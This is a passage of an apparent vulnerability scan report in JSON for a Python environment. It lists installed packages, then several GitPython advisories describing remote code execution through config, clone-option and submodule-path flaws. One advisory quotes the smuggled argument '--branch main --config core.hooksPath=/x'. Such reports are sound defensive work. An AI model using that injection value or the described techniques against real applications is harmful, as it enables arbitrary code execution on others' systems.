"sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/regex-2026.1.15.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "requests", "Identifier": { "PURL": "pkg:pypi/requests@2.32.5", "UID": "98c35ca846ec6bf4" }, "Version": "2.32.5", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/requests-2.32.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "rich", "Identifier": { "PURL": "pkg:pypi/rich@14.3.2", "UID": "f159aa1e657de2ff" }, "Version": "14.3.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/rich-14.3.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "rpds-py", "Identifier": { "PURL": "pkg:pypi/rpds-py@0.30.0", "UID": "49e93144a60708e7" }, "Version": "0.30.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/rpds_py-0.30.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "rsa", "Identifier": { "PURL": "pkg:pypi/rsa@4.9.1", "UID": "80bdd3bf4a704173" }, "Version": "4.9.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/rsa-4.9.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "s3transfer", "Identifier": { "PURL": "pkg:pypi/s3transfer@0.16.0", "UID": "7917cade99738fd9" }, "Version": "0.16.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/s3transfer-0.16.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "scipy", "Identifier": { "PURL": "pkg:pypi/scipy@1.15.3", "UID": "95cbc4fef31bf9fa" }, "Version": "1.15.3", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/scipy-1.15.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "shellingham", "Identifier": { "PURL": "pkg:pypi/shellingham@1.5.4", "UID": "22756eefebbf7e48" }, "Version": "1.5.4", "Licenses": [ "ISC" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/shellingham-1.5.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "shtab", "Identifier": { "PURL": "pkg:pypi/shtab@1.8.0", "UID": "ab0b810e261ac979" }, "Version": "1.8.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/shtab-1.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "six", "Identifier": { "PURL": "pkg:pypi/six@1.17.0", "UID": "abc8176f6a55542" }, "Version": "1.17.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/six-1.17.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "smmap", "Identifier": { "PURL": "pkg:pypi/smmap@5.0.2", "UID": "30191d2313f313ad" }, "Version": "5.0.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/smmap-5.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sniffio", "Identifier": { "PURL": "pkg:pypi/sniffio@1.3.1", "UID": "ea03013ea6c3e1f7" }, "Version": "1.3.1", "Licenses": [ "MIT", "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/sniffio-1.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "socksio", "Identifier": { "PURL": "pkg:pypi/socksio@1.0.0", "UID": "478d1c5abcd6d970" }, "Version": "1.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/socksio-1.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sounddevice", "Identifier": { "PURL": "pkg:pypi/sounddevice@0.5.5", "UID": "b8d011b9dc57c994" }, "Version": "0.5.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/sounddevice-0.5.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "soundfile", "Identifier": { "PURL": "pkg:pypi/soundfile@0.13.1", "UID": "b8cbbd19e5495e4d" }, "Version": "0.13.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/soundfile-0.13.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "soupsieve", "Identifier": { "PURL": "pkg:pypi/soupsieve@2.8.3", "UID": "9acdd3bf5ff63334" }, "Version": "2.8.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/soupsieve-2.8.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "starlette", "Identifier": { "PURL": "pkg:pypi/starlette@0.52.1", "UID": "b82175315742348e" }, "Version": "0.52.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/starlette-0.52.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tenacity", "Identifier": { "PURL": "pkg:pypi/tenacity@9.1.4", "UID": "4bf9b40f4815c66f" }, "Version": "9.1.4", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/tenacity-9.1.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tiktoken", "Identifier": { "PURL": "pkg:pypi/tiktoken@0.12.0", "UID": "39b158b94b87deb1" }, "Version": "0.12.0", "Licenses": [ "text://MIT License Copyright (c) 2022 OpenAI, Shantanu Jain Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE." ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/tiktoken-0.12.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tokenizers", "Identifier": { "PURL": "pkg:pypi/tokenizers@0.22.2", "UID": "f9c5b171f3246694" }, "Version": "0.22.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/tokenizers-0.22.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tqdm", "Identifier": { "PURL": "pkg:pypi/tqdm@4.67.3", "UID": "eb8ba0b366cf11ce" }, "Version": "4.67.3", "Licenses": [ "MPL-2.0 AND MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/tqdm-4.67.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tree-sitter", "Identifier": { "PURL": "pkg:pypi/tree-sitter@0.25.2", "UID": "cd4c592b737e8cde" }, "Version": "0.25.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/tree_sitter-0.25.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tree-sitter-c-sharp", "Identifier": { "PURL": "pkg:pypi/tree-sitter-c-sharp@0.23.1", "UID": "a7b847773d24b000" }, "Version": "0.23.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/tree_sitter_c_sharp-0.23.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tree-sitter-embedded-template", "Identifier": { "PURL": "pkg:pypi/tree-sitter-embedded-template@0.25.0", "UID": "80cd6f658bed1e52" }, "Version": "0.25.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/tree_sitter_embedded_template-0.25.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tree-sitter-language-pack", "Identifier": { "PURL": "pkg:pypi/tree-sitter-language-pack@0.13.0", "UID": "cf7a39ba4e227cc0" }, "Version": "0.13.0", "Licenses": [ "MIT OR Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/tree_sitter_language_pack-0.13.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tree-sitter-yaml", "Identifier": { "PURL": "pkg:pypi/tree-sitter-yaml@0.7.2", "UID": "9857b14e61023974" }, "Version": "0.7.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/tree_sitter_yaml-0.7.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "typer", "Identifier": { "PURL": "pkg:pypi/typer@0.23.0", "UID": "872685026f23f0db" }, "Version": "0.23.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/typer-0.23.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "typer-slim", "Identifier": { "PURL": "pkg:pypi/typer-slim@0.23.0", "UID": "98157eb1e79fb957" }, "Version": "0.23.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/typer_slim-0.23.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "typing-inspection", "Identifier": { "PURL": "pkg:pypi/typing-inspection@0.4.2", "UID": "491d4debedf961c" }, "Version": "0.4.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/typing_inspection-0.4.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "typing_extensions", "Identifier": { "PURL": "pkg:pypi/typing-extensions@4.15.0", "UID": "7fcca94d9032e224" }, "Version": "4.15.0", "Licenses": [ "PSF-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/typing_extensions-4.15.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "urllib3", "Identifier": { "PURL": "pkg:pypi/urllib3@2.6.3", "UID": "83345907e620c723" }, "Version": "2.6.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/urllib3-2.6.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "watchfiles", "Identifier": { "PURL": "pkg:pypi/watchfiles@1.1.1", "UID": "43e7736aec3c95f4" }, "Version": "1.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/watchfiles-1.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "wcwidth", "Identifier": { "PURL": "pkg:pypi/wcwidth@0.6.0", "UID": "fe750169b177f146" }, "Version": "0.6.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/wcwidth-0.6.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "websockets", "Identifier": { "PURL": "pkg:pypi/websockets@15.0.1", "UID": "79d42655657a1249" }, "Version": "15.0.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/websockets-15.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "yarl", "Identifier": { "PURL": "pkg:pypi/yarl@1.22.0", "UID": "21a5f619aca6dbeb" }, "Version": "1.22.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/yarl-1.22.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "zipp", "Identifier": { "PURL": "pkg:pypi/zipp@3.23.0", "UID": "7912f6917b8e3aff" }, "Version": "3.23.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/zipp-3.23.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" } ], "Vulnerabilities": [ { "VulnerabilityID": "CVE-2026-78676", "VendorIDs": [ "GHSA-284h-m62q-gf8w" ], "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.59", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78676", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:9b5a3ffbf618809d5645241fed16b3f9af27d7eecba9b99145301969221e257e", "Title": "gitpython: GitPython before 3.1.59 Remote Code Execution via Config Injection", "Description": "GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.", "Severity": "CRITICAL", "CweIDs": [ "CWE-88" ], "VendorSeverity": { "ghsa": 4, "redhat": 4 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V3Score": 9.8, "V40Score": 9.3 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-78676", "https://advisory.echohq.com/cve/CVE-2026-78676", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w", "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3786.yaml", "https://nvd.nist.gov/vuln/detail/CVE-2026-78676", "https://www.cve.org/CVERecord?id=CVE-2026-78676", "https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection" ], "PublishedDate": "2026-08-25T02:16:52.03Z", "LastModifiedDate": "2026-10-12T15:10:00.207Z" }, { "VulnerabilityID": "CVE-2026-114145", "VendorIDs": [ "GHSA-83vg-56qc-22m7" ], "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.2.1", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-114145", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:94fbc7dc125d1efaf8c23db4d346ca379f8067765680b870aad76d79a7171e41", "Title": "GitPython: GitPython: arbitrary code execution via improper submodule path validation", "Description": "GitPython is a python library used to interact with Git repositories. Prior to 3.2.1, create_submodule() in git/objects/submodule/base.py accepts an attacker-influenced submodule path such as .git/hooks and invokes _clone_repo() before safely rejecting the destination. In 3.1.x, _validate_repo_path() does not exist and the call succeeds silently, while in 3.2.0 and later affected revisions the check in git/index/base.py raises ValueError only after the clone has written to disk and does not remove the planted file. An attacker-controlled submodule can therefore place an executable post-checkout hook that a later Git operation executes. Exploitation requires an application to accept an untrusted submodule path and a clone destination such as .git/hooks that is empty enough for Git to clone into it, which commonly means that default sample hooks are absent. This issue is fixed in version 3.2.1.", "Severity": "HIGH", "CweIDs": [ "CWE-696" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-114145", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/97eadb888d2f99567e3113f4e455be4ca128f697", "https://github.com/gitpython-developers/GitPython/pull/2264", "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.1", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-83vg-56qc-22m7", "https://nvd.nist.gov/vuln/detail/CVE-2026-114145", "https://www.cve.org/CVERecord?id=CVE-2026-114145" ], "PublishedDate": "2026-10-21T21:17:57.25Z", "LastModifiedDate": "2026-10-23T15:17:25.77Z" }, { "VulnerabilityID": "CVE-2026-42215", "VendorIDs": [ "GHSA-rpm5-65cw-6hj4" ], "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.47", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42215", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:468881d55231ddf6397ba341669d273500031434741f4a791a84eff505dc745b", "Title": "GitPython: GitPython: Arbitrary command execution due to bypass of dangerous Git option checks", "Description": "GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.", "Severity": "HIGH", "CweIDs": [ "CWE-78" ], "VendorSeverity": { "ghsa": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-42215", "https://advisory.echohq.com/cve/CVE-2026-42215", "https://github.com/advisories/GHSA-rpm5-65cw-6hj4", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4", "https://nvd.nist.gov/vuln/detail/CVE-2026-42215", "https://ubuntu.com/security/notices/USN-8303-1", "https://www.cve.org/CVERecord?id=CVE-2026-42215" ], "PublishedDate": "2026-05-07T19:16:01.64Z", "LastModifiedDate": "2026-06-17T10:47:31.463Z" }, { "VulnerabilityID": "CVE-2026-42284", "VendorIDs": [ "GHSA-x2qx-6953-8485" ], "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.47", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42284", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:535bdc774462b9aec9ae03fa24891493063eea5fe42ffb6a2ffa1a8617fcce90", "Title": "GitPython: GitPython: Arbitrary code execution via improper validation of clone options", "Description": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(\" \".join(multi_options)). A string like \"--branch main --config core.hooksPath=/x\" passes validation (starts with --branch), but after split becomes [\"--branch\", \"main\", \"--config\", \"core.hooksPath=/x\"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47.", "Severity": "HIGH", "CweIDs": [ "CWE-88" ], "VendorSeverity": { "ghsa": 3, "nvd": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-42284", "https://advisory.echohq.com/cve/CVE-2026-42284", "https://github.com/advisories/GHSA-x2qx-6953-8485", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485", "https://nvd.nist.gov/vuln/detail/CVE-2026-42284", "https://ubuntu.com/security/notices/USN-8303-1", "https://www.cve.org/CVERecord?id=CVE-2026-42284", "https://www.tenable.com/cve/CVE-2026-32686" ], "PublishedDate": "2026-05-07T19:16:01.783Z", "LastModifiedDate": "2026-06-17T10:47:37.963Z" }, { "VulnerabilityID": "CVE-2026-44243", "VendorIDs": [ "GHSA-7545-fcxq-7j24" ], "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.48", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44243", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:14b4bbd5b6b692e602ee0e68cc1f23247412b202d77e2f65cb3c8b471e3bce5e", "Title": "GitPython: GitPython: Arbitrary file write via crafted reference paths", "Description": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.", "Severity": "HIGH", "CweIDs": [ "CWE-22" ], "VendorSeverity": { "ghsa": 3, "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P", "V3Score": 7.1, "V40Score": 7.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H", "V3Score": 6.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-44243", "https://advisory.echohq.com/cve/CVE-2026-44243", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24", "https://nvd.nist.gov/vuln/detail/CVE-2026-44243", "https://ubuntu.com/security/notices/USN-8303-1", "https://www.cve.org/CVERecord?id=CVE-2026-44243" ], "PublishedDate": "2026-05-07T19:16:02.227Z", "LastModifiedDate": "2026-06-17T10:50:24.223Z" }, { "VulnerabilityID": "CVE-2026-44244", "VendorIDs": [ "GHSA-v87r-6q3f-2j67" ], "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.49", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44244", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:0c34d76035dfa0bd736c68f0c271a4e9dca4a43313200049a56c20453db140e4", "Title": "GitPython: GitPython: Arbitrary code execution via injected newlines in Git configuration", "Description": "GitPython is a python library used to interact with Git repositories. Prior to version 